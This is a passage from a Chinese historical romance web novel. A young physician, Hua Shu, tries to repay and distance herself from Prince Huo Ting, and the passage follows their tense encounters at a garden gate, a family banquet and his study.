清静的石子小路上，华姝还如上回那般，落后半步，跟在霍霆轮椅后面。长缨和半夏远远跟在最后。 只是今晚的心境，明显不同。 身前的男人亦是一路无言，唯有轮椅木轮下的石子“咿呀”不停。 偏她深知，他有话要说。心绪被勾着、吊着一路，似那木轮一般，上下起伏。 华姝悄悄看去，只能看清霍霆一半脸庞，轮廓线条分明，眉骨斜短的细疤，平添几分凌厉。 是还在因晚归的事，生她气么？ 月桂居院近在眼前，华姝犹豫着搓搓指尖，主动打破这煎熬的死寂：“王爷，您是要我诊脉吗？” 霍霆停下轮椅，粗壮手臂递过来，还是没有言语。 华姝见状，也只好先蹲下身，指尖扣上他麦色阔腕，凝神感受脉搏。 忽然，头顶传来熟悉的沉声：“这里是三千两，够用吗？” 霍霆今日的确动了怒气，气萧成未及时禀告此事，气华姝不来寻助、反而只身犯险，更多是气自己没及时发现、护佑不利。 他这一路都在压制情绪，想用最心平气和的方式，帮她解决问题。 眼前多出一沓银票，让华姝动作一顿。 他都知道了，难怪。 可她没去接那银票，赚诊金本就是为还他，哪儿再拿的道理？ 只是不曾想，他都没追问缘由。 如此无条件的支持，明显越界了……华姝不禁心跳加速，手足无措。 皎云羞月，空气有须臾安静。 “还差多少？我每年俸禄一万两，还不够的话。兵部尚书一职近日空了出来，我去补了那个缺。” 见她没接，霍霆又道：“往后你别再独自出诊，不安全。” 兵部尚书乃正三品大员，大伯父二伯父盼了大半辈子的好职位，到他口中，竟成了“缺”。 华姝心知霍霆并非仗势欺人，但他的位高威压，在这一刻的确显示得淋漓尽致。 还有他超出叔侄的过分照拂……都让她心跳越发凌乱。 感激是真，但压力更甚。 果然如她下午所料，他从未想过放开她。 可他们真的不能再这样。 “王爷好意，华姝铭记于心。但您伤势未愈，还是多休养为好。” “至于我行医这等小事，说来话长，您实在不必放心上。”说完，她就想收回手，起身告别。 怎知，霍霆蓦地扣住她指尖，“那就长话短说。”嗓音染上威压。 他掌心灼热，灼得华姝心跳砰砰更甚，默默蹲在他腿边，一动不敢动。 只觉她一直以来不愿去触碰的那层遮羞布，要提前被揭掉了。 20. 挑破 深秋仲夜，空气泛起淡淡的白雾，悄无声息从四面八方涌来，打湿华姝的袅袅衣裙，寒意阵阵。 她深吸一口气：“二伯母发给我的月银与众姊妹一样多，完全够日常开销。”只是这次特殊情况，不够偿还血燕和山中人情债罢了。 “出诊也是想救人性命。本以为她一介孤苦女子……终是我考虑不周，华姝甘愿受罚。只求您别告知祖母，我日后再不会去了。” “这话说得不实诚。” 霍霆加重语气，一语挑破：“那花魁业已交代，是你主动找上她的。” 华姝喉头干涩，愈加支吾：“我……” “这木屋何时变作兵器库了？” “快走快走！千万别被王爷发现咱常来此处幽会。” 不远处的药田，忽传来两道窃窃私语。应是府中一对偷情的野鸳鸯。 闻声，月桂居门口的两人，都神色微变。 晚风吹来，桂花阵阵飘香。本就暧昧的氛围，再添尴尬。 小木屋，孤男寡女，亲密，偷情。 怎么听怎么都像…… 华姝头顶越埋越低，心虚又羞怯，试探着抽回手指。 这等轻微的小动作，自然逃不过霍霆的眼。 他垂眸看去，意外撞见那截伸长的纤颈，肤白嫩滑，染满红晕，从耳边一路蔓延而下。 似暗夜里一朵娇艳盛放的蔷薇，惹猛虎想倾身去细嗅。 霍霆克制地挪开眼，遂了她愿，松开手，顺势给远处的长缨一个手势，绕道去药田瞧瞧。 华姝如蒙大赦，起身拉开一步距离。 那指尖染着他的体温，仍是烫得厉害，余有微颤。 她顺势搓了搓泛凉的手臂，以作掩饰。 然，粉嫩含羞的双颊，依旧若隐若现。 霍霆都瞧在眼里，叹了口气：“华姝，你无需这般怕我。” “今日过问此事，本意也不为责罚。但你一再回避，让我不得不忧心你处境艰险。” “实在不想说，我不问便是。” 反正萧成会加倍盯紧，但这话霍霆不会告知她，仅着重叮嘱：“只一点，不准伤到自己。” 闻言，华姝哑然一怔。 朦胧月色里，男人泰然而坐，一袭滚边刺绣的玄衣，无风自动。 他眉眼英俊硬朗，自带凌厉。但此刻面对她，华姝看得出，他在尽可能表现得平易柔和。 她不由赧颜于他的包容胸襟，感动于他的深沉关切。 华姝郑重福身，细语软柔：“王爷的海涵与厚助，华姝铭记于心。事情没您想得那般复杂，我日后也再不会去，不会让祖母……和您惦记。” “如此甚好。” 霍霆瞧着她，脸色渐缓：“否则再是遇险，我就真要向你祖母告状了。” 话音未落，自己先行失笑。 想他纵横沙场多年，审讯战俘无数，如今竟撬不开她一个小丫头的嘴，还得向老母亲告状，说出去估计得被那帮兄弟笑上好几年。 见霍霆笑了，且理直气壮地威胁她还要告状，华姝亦是忍俊不禁。 不得不承认，他真是一位赤诚宽厚的长辈。若非山中事，她定会忍不住像小时候一般黏着他。 “行了，回吧。”霍霆看眼渐深的夜色，“往后日渐天凉，若再是贪晚的话，记得加件外裳。” 默了默，他再度递上银票，“这钱先拿着，权当我提前予你的诊金。” 瞧着那沓银票，听着他天凉加衣的细腻关切，华姝迟疑一瞬。 许是男人太过包容随和，给予她莫名心安。又或他一再过度关照，让她受之有愧，不宜再退缩至明日。 华姝心中挣扎几番，决意即刻直面此事：“王爷，我可以说明筹钱的缘由。您能答应我，不生气吗？” “那要看是因为什么。” 霍霆不是情窦初开的少年，他待人接物早有一套成熟的底线：“伤天害理、作奸犯科之事绝不准许。” “即便你现在后悔，不肯坦言了，日后被我知晓亦不准许。” “不过，”他话锋一转，凤眸清明瞧着她，“我自是相信你的为人，更担心你受人蒙骗。” “不会伤天害理，也不是作奸犯科，您就不会生气，对吧？” 华姝眼波流转，试探的触角又往前伸出一点点。 霍霆难得见她杏眸不止惧色，还有一丝灵动的狡黠，似是激发出她幼年时的欢脱性情。 他微挑眉，“且说说看。” “您稍等。” 华姝先是走开几步，悄声交代半夏回月桂居拿银钱，而后折返回霍霆跟前。 长缨去药田尚未回来，这会附近就只有他们两人。 她深吸一口气，终于坦言说出积压多日的心事：“我去赚诊金，是为了还清您的诸多恩情。” 秋风乍起，寒夜更深。 霍霆握着银票的手掌，骤然收紧。 定定凝着她，静候下文。 可他气场太过强大，凤眸的微变，已让华姝倍感压力。 但事已至此，也只能硬着头皮说下去。她轻声软语道：“承蒙王爷多番相救，华姝不胜感激。若能为您清除余毒，我亦万死不辞。” “至于山中之事……” 华姝拢了拢鬓边碎发，试图掩饰掉羞耻泛红的脸颊，“皆由我而起，亦该我独担。” “华姝敬仰王爷责任心厚重，也深知您肩负天下大事，故而，还请您日后不必再费心关照，不值当的。” 她话音落下，许久未等到答复。 空气亦是冷寂许久，薄雾渐浓，从四周压迫而来。 却抵不过霍霆周身的沉郁威压。 华姝埋低头，不敢去瞧他脸色，却见那几张银票已被攥得严重变形。 而另一只大掌也攥紧轮椅扶手，青筋根根凸起。 时至此时，他仍在极力克制，没有冲她发火，华姝心中百感交集：“王爷，您……” “华姝。” 霍霆沉声打断她：“我可以给你足够时间想清楚，你不用着急答复此事。” “天色不早了，回吧。”他先行调动轮椅，有意就此结束这段对话。 但华姝没动。 她搓了搓僵硬的指尖，唇瓣孱颤：“不必再想了，这是我近一个月审慎思考的结果。” 霍霆动作一顿。 停下轮椅，然后站了起来。 高大魁岸的身影，刹那投下一道沉密的阴影，将华姝严实笼罩其中。 她心跳漏了一拍，仰头看去，男人居高临下谛视着她，凤眸寒沉如渊。 华姝心跳更快，下意识步步退避。 但这一次，霍霆没再宽让，而是大步逼近。 且他一步，顶她三步，让华姝脚步凌乱，局促不安。 她惊惶看着眼前之人，这一刻，他不再是宽和四叔，而是那个气势如狼的冷峻山匪，露出了最本真的模样。 那些拼命忘却的昔日恐惧，在这一刻，悉数从潮水般袭来，令华姝心脏狂跳，濒临窒息。 “理由呢？”霍霆边走边问。 “因为我年长你太多？” “因为我眉骨有疤，长得很凶？” “不是的！”华姝极力摇头，极力解释：“王爷海纳百川，心怀天下，是大昭百姓的神明，亦是华姝心中的英雄。” 说话间，两人已退至清枫斋的木门前，霍霆顿住脚步。 刚想出声提醒，但华姝一时不察，后背已经撞了上去。 机密信件都锁在书房，清枫斋的院门没有上锁的必要，因为府中无人胆敢不请自来。 而华姝，显然又是例外。 她轻轻一撞，两扇门板“吱呀”而开，整个人不受控地往后栽去—— “啊！” 她低呼一声，等回过神时，人已陷入霍霆的怀里。 他一手稳稳扣住她腰肢，一手垫在她后脑与门板间，院门刚刚已被他用脚从里边踢严实。 空气再度安静，夜雾愈加浓郁。 狭窄的阴暗空间里，只剩两人紊乱的呼吸声，以及男人炽热逼人的气息，熟悉得可怕。 华姝心惊肉跳，犹如被野狼叼住的囚困小兔，一动不敢动。 原本在跌倒刹那，慌乱捏紧霍霆衣襟的手指，也颤着松开，虚扶于半空。 霍霆顺着那发抖的葱白纤指，垂眸定在少女惨白如纸的小脸上。 怀中她簌簌发抖的娇躯，宛若秋风中之落叶，让他冷峻的下颌绷得更紧： “既是不反感，为何拒我？” “有更喜欢的人了？” “霍玄。” 头顶再度响起一连追问，最后一句，用的肯定语气。 华姝呼吸微滞。 怎么会突然提及表兄？ 她仰头看去，想一探究竟，却意外撞进一双幽深的黑眸，瞳孔隐有她读不懂的晦涩。 而华姝的短暂沉默，落入霍霆眼中，即为默认。 默认她不惜冒险去赚诊金，是为摆脱他，早点与霍玄共乘一车，出双入对。 他们青梅竹马，年龄相仿，有说不完的共同话语。 “也好，他确实比我更合适。”霍霆缓声道：“我会出面替你指了这门亲事。” 他看似平和下来，但扣住华姝腰肢的粗粝大掌，却没松开，反而握得更紧。 然后猛地一带，将她紧紧按在他胸膛上。 男人的胸膛坚硬而炙烫，华姝被撞得魂飞魄散，烫得心尖发颤。 她仰头看着上方冷峻染怒的脸庞，顾不得弄清他如何知晓霍玄的事，忙出言阻拦，柔哄：“我对表兄仅是兄妹之情，还请王爷打消这份心思。” 即便来日真会嫁人，定也趁霍霆离京不在，避着，瞒着。哪好意思请他出面指婚？ “你若为顾及我颜面，倒也不用……” “我没有！” 华姝加重语气，每个字都带有坚决的重量。 霍霆被打断的后半句话，似也字如千斤，难再多言。 他俯视着她，眸色深沉。 秋风再起，红枫叶自墙头飘零而落，有一瞬遮蔽门边的灯笼黄光，恍了眼。 叫人一度看不清自己的心，有几分试探，几分成全，又有几分释然。 但从华姝的视角，能感觉霍霆周身的寒意在减淡。 然后他俯下身靠过来，视线与她平齐。 近得能让她隐隐看见花容失色的自己，和映入他凤眼的灯笼光晕，又好似重燃起的一簇火苗。 “那就只剩世人非议了。”他轻揉她头，“你尽可放宽心，我来解决……” “姑娘！” “姑娘你在哪？” 这时，门外传来频频的呼唤声，是半夏拿着银票出来了。 但夜半三更，事关秘辛，她又不能高声大喊，语气越发焦急。 华姝也跟着一同焦急：“王爷美意，华姝心领了。是我跨不过心中那道坎，与旁人无关。” 她试着挣扎了下，但根本以卵击石，动弹不得一点。 反被男人灼灼目光，烫被目光闪躲，长睫低垂。 可霍霆不准。 原本扣在她腰间那只粗粝大掌，改为捧起她肤如凝脂的脸颊，四目相对。 他深深凝看过来，“我还是那句话，你慢慢消解心绪，此事容后再议。” 他用最温柔的语气，说出最决绝之语。 兜兜转转，谈话绕回最初的原点。华姝所有的竭力劝说，皆变作徒劳。 这一刻，本就身处绝路的她，心境亦陷入绝路。 只剩最后的颤声哀求：“王爷，我恳求您放手吧。” 她咬紧唇瓣，却还是漏掉一丝轻微的啜泣声，似秋夜里迷失希望的小兽在呜咽。 紧接着，一颗热泪，顺着她泛红的眼角无力滑下。 坠落在脸畔的粗粝大手上，溅起一滴微不足道的水花，氤氲在白茫茫雾气里…… * 雾中水汽凝结坠落，秋雨一连三日萧寒不散。 就好似华姝的心情，阴霾阵阵，久久郁结在心头，剪不断理还乱。 好在对外宣称坐诊辛劳，倒是无人来打搅。 一连三日，她倚靠在书房的圆形雕花小轩窗前，手中医书不曾翻过几页，大多时望着西墙边的桂花树，凝神不语。 枝头的高洁米黄花瓣，再度被秋水冲进泥泞。 一如她刚逃出深山时的境况。 紧锣密鼓近一个月的所有努力，只因那人的一句话，皆被打回原形，回到她最初的心绪不宁。 “姑娘，再有半个时辰，家宴就开始了。” 半夏轻手轻脚推门进来，帮华姝披上一件古纹双蝶云形藕粉色披风，忧心道：“要不，奴婢还是为您向老夫人告个假吧。” 华姝羽睫轻动，回过神问：“对面……出门了么？” 半夏心照不宣地点点头：“等会姑娘直接坐到女眷那桌，应是能避开的。” 华姝眼波流转，神色恹恹起身，“帮我梳妆吧。” 今日家宴，霍家人齐聚一堂。 一来要庆祝霍霆与霍雲兄弟俩，将安置将士们的苛刻差事办得尽善尽美，稳住军心，荣获圣上嘉奖。 二来霍玄殿试在即，为他鼓励士气。 都是喜事，老夫人高兴，主动提及要庆祝一番。 昨日傍晚，桂嬷嬷亲自撑伞过来，探望华姝身子，并通知此事。 既已应下，也不好临时改口。 反倒容易惹人注意。 华姝由着半夏和白术拾掇，铺上一层厚粉，梳上精致妆容，故作精神地撑伞往前院的饭厅走去。 怎料，就在离院门几步远时，轮椅压着石子路的“嘎吱”声，跳入耳畔。 仿佛一颗石子，砸在她心湖上，溅起圈圈涟漪。 快速瞥了一眼来人，华姝握在玉骨伞的玉手，不由收紧，倾斜遮面。 “见过王爷。” 待长缨推着霍霆行至院门前时，华姝福身行礼，轻声道。 霍霆微掀眼帘，目之所及，仅有一把水仙花样的天青色，挡住少女姣好玉容。 藕粉披肩下摆，瑟瑟摇曳在秋风微雨，飘摇欲坠。 与他初回府中那日的画面，近乎重叠。 原来，一切都有迹可循。 霍霆淡淡收回目光，挥手命长缨继续往前，未过多停留，未发一言。 路上的石子，再度被碾压得“噼啪”作响，渐行渐远。 华姝重新扶正油纸伞，目送那主仆二人走进饭厅，才带着半夏继续往前，唇瓣紧抿。 如她所愿，霍霆松口山中事。 只是惹他恼怒动气，实非她本意，终究还是将此事办砸了。 * 饭厅内，华姝不敢再去瞧东边的男子桌席，只走近女眷这桌，落座。 老夫人怜惜地端详着她：“我瞧着姝儿这脸色还是病恹恹的，身子可是还没歇过来？” 东桌的主位上，霍霆正与三位老爷并霍玄、二房嫡子霍齐、三房庶子霍瑛等人寒暄。 本就兴致不浓的他，在听到老夫人的问话后，耳郭微动，渐有走神。 一道熟悉的和软细语传来：“许是秋雨天潮，夜里睡得有些不踏实。” 这话语的内容，听着也很熟悉。 山中那月，他偶然午夜梦醒，身畔的被褥是凉的。 半夜未眠的少女，也曾这般答复。 那时他对她不甚了了，信以为真。 现在细品，这句竟也是谎言。 膳房的十数个仆人，端着美酒佳肴鱼贯而入，有人专门负责斟满酒杯。 始于主位，转一圈回来，霍霆面前酒杯已然空荡荡的，于是又补上一杯，才悄然退下。 西边女眷席上，华姝的座位，不巧恰能瞥见这一幕。 几日前在回春堂，他对孙大人的以茶代酒，和“家里有人管”的轻快戏言，还历历在目。 她眼睫微动，略感沉重，垂落而下。 身旁，大夫人亲手帮她盛了一碗红枣乌鸡汤，“失眠易损精气，饭前先喝碗鸡汤暖暖胃，还能补气血。” 你腹饥太久，先喝热粥，暖胃…… 熟悉的关切之语，亦是声声在耳。 华姝强迫自己不再回想，执起汤匙，专心喝汤，“多谢大伯母。” “这孩子，谢什么，合该我们该好好谢谢你。”大夫人同饭桌上其他人笑言：“她大伯父这几日得了空啊，没少同我夸姝儿。” “医术精湛都是次要的。” “待人接物那是真没的挑喲！心思周到又细致，谁见了谁都叫好。” “我能作证。”霍千羽补充道：“尤其最初那日，他们一开始瞧不上我俩是姑娘家，结果后面几日想排队都排不上。” “哎呦呵，咱家姝儿当真这般优秀呢？”老夫人一听，本就欢喜的她越发笑得合不拢嘴。 “母亲，这话其实不是儿子夸的。”东桌的大老爷，闻言也乐呵呵表示：“是回春堂老板和将士们，都对咱家俩丫头赞不绝口。” 霍雲说到兴头，又转向霍霆，“当时澜舟也在，母亲若不信我，可以问四弟。” 此话一出，饭厅的人纷纷看过去，倍感期待。 华姝亦然。 也才注意到，霍霆今日罕见穿了件烟蓝色的广袖锦袍，束发的碧玉簪换作一根白玉簪。 看上去与平时多添几分姿容，更显年轻。 然而，那刚毅的俊脸，神色始终冷肃。像一座拢满瘴气的孤岛，游离在饭厅的欢声笑语之外。 他朝老夫人颔首，“所言不虚。” 当众肯定了华姝的才能。 但惜字如金的淡漠，让活络的气氛骤然冷凝。 众人不明所以，但碍于其身份，也不敢追问，只剩面面相觑。 作为唯一知情人，华姝瞧在眼里，闷在心中。 她是没资格气他的，鱼和熊掌不可兼得，她不能一边要求人家远离，一边还享受堂堂王爷所予的热切相待。 只是瞧着疼爱她的老夫人面露忧色，华姝于心不忍，挤出一抹浅笑：“是大伯父他们谬赞了，姝儿年纪尚轻，才疏学浅，日后还得勤加钻研。” 声音轻轻柔柔的，再是粉饰太平，也难以挽回活跃气氛。 霍玄始终在关注她。 虽不知心尖的姑娘为何哀伤，但他略作斟酌，还是笑着接过话茬： “表妹一惯低调，但咱家谁人不知，你可是祖母教养长大。若非女儿身，以你才学去考科举，必不在我之下。” 一句话，解了华姝的困境，连带着把老夫人都夸了，众人闻之忍俊不禁。 “玄儿不愧能入殿试，这般口才，想来过几日定会旗开得胜。” 二夫人也主动打起圆场。 为哄老夫人开心，也有意与大房和华姝重新交好。 大老爷此次差事办得漂亮，荣升从四品官衔，逼近正四品的二老爷。二夫人不得不摆正姿态。 她也心惊华姝医术如此精湛，以防二老爷日后的差事也用得上，不敢再小瞧人。 三夫人附和：“玄儿的心思灵巧独到，的确不可多得。” 大夫人看破不说破：“那咱家玄儿就借两位婶娘的吉言了。” 老夫人也重新展颜：“说得不错，咱家玄儿勤学苦读多年，此次殿试必能大展宏图。” 她说着举起酒杯，提议：“来，咱们全家今日且庆贺大郎、小四心有所成，也恭喜姝儿医术学有所成，更要遥祝玄哥儿心想事成！” 众人欢笑一堂，接连举杯祝贺。 “不错，母亲所言甚是。” “玄儿今年打个样，两个弟弟皆要向你看齐。” “光耀霍家门楣的重担，早晚得落你们头上……” 话题转到科举，饭厅气氛重新热闹起来。 华姝随之悄悄松口气，感激地同霍玄远远对视一笑。 想起那晚同车而回的事，又稍有不安，下意识去悄瞧霍霆的反应。 他正侧头同霍三爷说着什么，一个眼神都没分给她，似乎真当她为寻常晚辈了。 华姝收回目光，安静用膳，只道这般已是目前最好的结果。 她心事重重，以至于没留意到，三夫人身旁的表妹阮糖，投过来一束意味深长的目光。 直到饭后，女眷陪老夫人回千竹堂歇息，华姝陪霍千羽撑伞跟在最后，才提及此事。 “姝儿，你说巧不巧？”霍千羽低声：“沈青禾那边刚一走，阮糖的病就好了。” 当初，阮糖和沈青禾都为着王妃之位，来霍家借住。待见霍霆“瘫痪”后，沈青禾将目光投向霍玄，阮糖则称病不出。 直到前日沈青禾离开霍家。 “沈姑娘走了？”华姝近日没心思关注此事。 霍千羽：“听说她父亲触怒龙颜，被贬去山西上任，然后她们全家就一起去历劫了……” 后面的话，华姝没再听。 忆起那晚在千竹堂喝热粥时，霍霆与老夫人提及“都察院”、“言官”等只言片语。 而她印象中， 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冷肃的清枫斋，和重兵把守的皇龙寺，难去的程度，不能说毫不相干，可谓是一模一样。 几人你瞧我我看你，目光最终齐齐落在同一人身上—— 华姝埋头喝茶，假装视而不见。 她既主动开口求离，断不能再反复去他眼皮底下，招惹误会。 山鸟与鱼不同路，从此山水不相逢。 结果，“我前日刚得了几株上等老山参，等会让姝儿拿与你四叔吧。” 二夫人说，华姝回月桂居时，正好“同路”…… 这还没完，三夫人又道：“我房里的嬷嬷新学做一种糕点，味道极好，姝儿也一并拿与你四叔吧。” 望着几位长辈寄予厚望的目光，华姝为难悲叹。 还要亲自为他送糕点，这误会岂不是更大？ 所幸霍三爷担心雨天路滑，过来接三夫人回房，“正好我与澜舟还有要事相商，等会去清枫斋时，向他讨了拜帖便是。” 华姝感激地看向三叔父，虽还未去皇龙寺，但她仿佛已得神明的普度。 众人皆了却一桩心事，继续闲谈。 怎知，约莫一刻钟后，霍三爷去而复返：“实在不巧，赶上阴雨天，澜舟那腿伤熬人，他这会歇下了不便见客。” “没请军医来瞧瞧吗？”老夫人面色凝重起来。 霍三爷：“听长缨说，军医近日告假。” 如此一来，连老夫人的目光也投向华姝，慈母之心忧忧。 秋雨敲窗，如泣如诉。 面对一手养大自己的祖母，华姝这次实在不忍置若罔闻，咬了咬唇：“……那我前去探望四叔吧，顺便讨一封拜帖。” 她放下茶盏，袅袅起身辞别。 余留在齿间的清甜淡茶，莫名泛起一丝苦涩。 屋外，半夏撑伞走在身畔，“姑娘，不若奴婢去请那回春堂的陈老板，来为四爷瞧瞧？” “我的傻半夏，你忘了那晚他说过的话？” 华姝秀气的薄唇抿作一线，望着伞外细密的雨幕，仿佛又置身回那个举目皆白的浓雾之夜。 当时，她犹如困境之兽，蜷缩在猎人怀中。 唯一能祈盼，是他最后的怜悯。 木门之外，半夏寻声找来，亦是不断哀求：“四爷，求您放过姑娘吧。自打她从山里回来，再没能睡过一晚好觉……” 长缨去而复返，及时将她拉开。 但门内，霍霆的脸色已漆黑如墨，凤眼中火光一寸寸熄灭。 白雾浓郁，去遮蔽不去他眼底的阴郁。 看得华姝心尖娇颤，就在她准备破釜沉舟、立誓削发出家时，他蓦地转身。 选择了成全。 突然失去倚仗，华姝跌靠在门板上，半晌才重新找回气力，颤手拉开木门。 她从半夏手中接过银票，望着那道白雾中的孤立玄色背影，小心翼翼开口：“这两千两银票，我交与长缨侍卫，还望王爷收……” “出去。” 他头也不回，沉声低斥。 霍霆不应，长缨自是不肯接银票。 华姝拿在手上，宛若烫手山芋。沉甸甸的，坠得人心有不安。 她迈出院门槛，又迟疑转回身，诚恳软声：“为王爷祛毒一事，华姝会尽快想法子。届时，再一并拿与长缨。” “你觉得，本王身边会缺你一个大夫？” 男人嗤笑一声，骤然转回身。 对上她受伤的杏眸，刚毅下颌又隐隐一紧：“长缨，送客。” * 秋雨渐浓，捶打在脚边的青石板路上。 任凭华姝再谨慎，藕粉披风下摆仍被溅上点点污浊，以及一片破碎的红枫叶，难以独善其身。 清枫斋前，她黛眉拧紧。 他身边既不缺大夫，如何又落得她非来不可的境遇？ 是恰好被三叔父撞见，还是这位“四叔”有意为之？ 意外也不意外，华姝被长缨拦住：“表姑娘怕是走错门了吧，您离我们清枫斋还是远点……” “我奉祖母之命前来探望。” 受某人告状的启发，华姝径直搬出老夫人。 长缨顿时没了脾气，“您稍等。” 如今霍家谁人不知，天大地大霍霆最大，但霍霆上头还有位老娘。虽非亲生，亦有血脉压制。 经通禀，华姝随长缨走进院门。 那晚的羞惧画面，不禁涌入脑海。她甩了甩头，强行转移注意力，去打量小院的样貌。 西墙边枫树似火，高耸入云。树下石桌有盘残棋，被雨水淋遍。 东边空地上有两架人形木桩，院主人回来不足一月，已布满剑痕。 长缨顺着她的目光，冷笑：“这木桩，前日才命人送过来。” 华姝怔然。 从那斑驳的剑痕，似能想象出剑主人斑驳的心绪。 原来这几日，隔着两道院门，他也并非云淡风轻…… 长缨和半夏都留在院中，华姝单独走进陈设清冷的书房，未语先怯。 屋内，霍霆负手立在后窗前，神色不明。 他身后书案上，摆有一张大昭疆土地图，东南边境的几座城池，被用朱砂墨重点圈出来。 华姝不懂，也不敢窥探，只福身行礼，简洁说明两个来意。 霍霆态度依旧淡漠，但也未有刁难，转身站到书案前，铺纸蘸墨，开始写拜帖。 像是临窗而立许久，砚台已干涸。他提笔动作微顿，瞥她一眼。 四下无人，华姝只能绕道书案侧面，轻转素手，为其研磨。 书写拜帖用去半柱香的功夫，这期间，两人近在咫尺，却两厢无言。 偌大书房内，仅有墨碳的划擦声，及更漏“嘀嗒”作响。 华姝不解抬头看去，魁岸的男人专注执笔，目不斜视，莫非真不是他故意引她来此？ 霍霆将拜帖写好，随即走到门边的盆架处净手。 折返回来，瞧着等在原地的少女，蹙眉：“表姑娘还有何事？” “……为王爷看伤。”华姝适才已说明，这会又重复一遍。 声音轻轻柔柔的，似被屋外雨声掩盖。他淡淡觑着她，半晌未应。 雨势更大了，似乎很快将迎来一场疾风骤雨。 华姝心头似被一只无形的大掌揪紧，不敢与他单独待太久，软声提醒：“王爷？” “表姑娘大抵不愿记住山中事，也忘记本王这刀伤，在大腿外侧了吧？”霍霆轻嗤：“如今的表姑娘，怕是不方便看，请回吧。” 他话音未落，华姝已被臊得抬不起头，双颊绯红。 山中那时，为尽快让霍霆站起来，她曾以银针刺激伤口附近的穴位。 本就夜里坦衣相拥的两人，白日也少了男女大防。他用虎皮毯子遮住上面，任由她小手在袒露的大腿上扎扎戳戳。 也曾因此，两人擦枪走火过。然后一双小手就被粗粝大掌强势牵着，被迫换了位置…… 然今时不同往日，她自是不能再与他肌肤相亲，“王、王爷误会了，我只是奉祖母之命，过来为您诊脉，开一副祛处湿寒的止疼药方。” 闻言，霍霆背在身后的右手，攥紧。 定睛瞧着眼前小他太多的姑娘，瞧着她娇艳欲滴的羞涩模样，神情复杂：“华姝，腿上的这点痛，我忍得了。” 那忍不了的痛又在哪？ 华姝不敢去深究，偏那人形木桩的辩驳剑痕，浮现眼前。 她羞愧难当：“都是我的错，是我不该向您……” “咔嚓！” 突然一声滚滚惊雷，伴着锃亮的冷光，隔空劈下！ 华姝小脸刷白，后脊汗毛直立。 惊惧万分之际，有人无声走近，习惯性为她捂住耳朵。 她也习惯性钻进那一处熟悉的避风港，就像山中那会。 等反应后来时，她惊呆在男人宽厚温热的怀里。 耳边是他强劲有力的心跳，砸得她心跳也“咚咚”作响。 霍霆感受着怀中娇躯的颤栗，直到她变为僵硬，才淡漠放下手。 “你当真看懂自己的心了吗？” 这话，他自己也说不清在问谁。 至少确认，她在山中依赖他这事，也不全是谎话。 可他却不知，华姝怕雷雨天这事，皆从她含泪委身于他的那一晚而起。 寄人篱下多年，她早已不喜对外诉说苦楚，只含混解释一句：“平时，我对我的丫鬟也是如此。” 说着就想后退一步，拉开这超出叔侄的过分亲密。 可男人不肯了。 像被突然激怒的他，反手就将她抵在身后的书架。 魁岸如山的身躯，欺身而下：“华姝，你又来惹我。” 近在咫尺的凤眸，一半寒凛，一半灼灼。 看得华姝，羽睫孱颤。 想开口解释，此行只为给他开一副止疼的汤药。偏如今事实如山，叫人百口莫辩。 她迟疑之际，水嫩的粉唇开开合合，似一朵含苞待放的花朵，惹人采撷。 霍霆盯着她水眸的目光，不由被吸引过去。 这双唇瓣有多么娇软清甜，他曾含在齿间细细品味，至今记忆犹新。 喉结滑动，燥热跃跃的心绪牵着他，一寸寸靠过去……